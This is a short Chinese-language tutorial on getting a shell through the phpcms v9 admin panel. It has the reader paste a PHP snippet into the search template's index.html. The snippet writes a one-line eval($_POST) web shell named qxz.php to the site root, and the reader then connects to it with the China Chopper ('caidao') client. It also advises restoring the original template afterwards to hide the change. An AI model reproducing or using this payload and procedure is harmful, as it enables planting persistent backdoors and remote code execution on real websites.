记一次phpcms v9后台拿shell过程
登录进入后台管理后,点击界面,模板风格,然后点击祥细列表,如下图:
推荐:《phpcms教程》
然后点击 search 这个文件夹,如下图:
然后点击修改 index.html 文件
然后把以下代码复制上去提交。
<? $fp = @fopen(“qxz.php”, ‘a’); @fwrite($fp, ‘<‘.’?php’.”\r\n\r\n”.’eval($_POST[hacker])’.”\r\n\r\n?”.”>\r\n”); @fclose($fp); ?>
提示:修改前先把原来的代码备份一下,拿到shell后把他改回去。
提交后点击可视化一下
这样在网站的根目录就生成了你的一句话木马客户端 qxz.php
拿起菜刀链接 http://www.xxx.com/qxz.php
本文来源于 网络,由本站搜集发布,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系mail@b413.com核实处理。如需转载,请注明文章来源。
© 版权声明
文章版权归作者所有,未经允许请勿转载。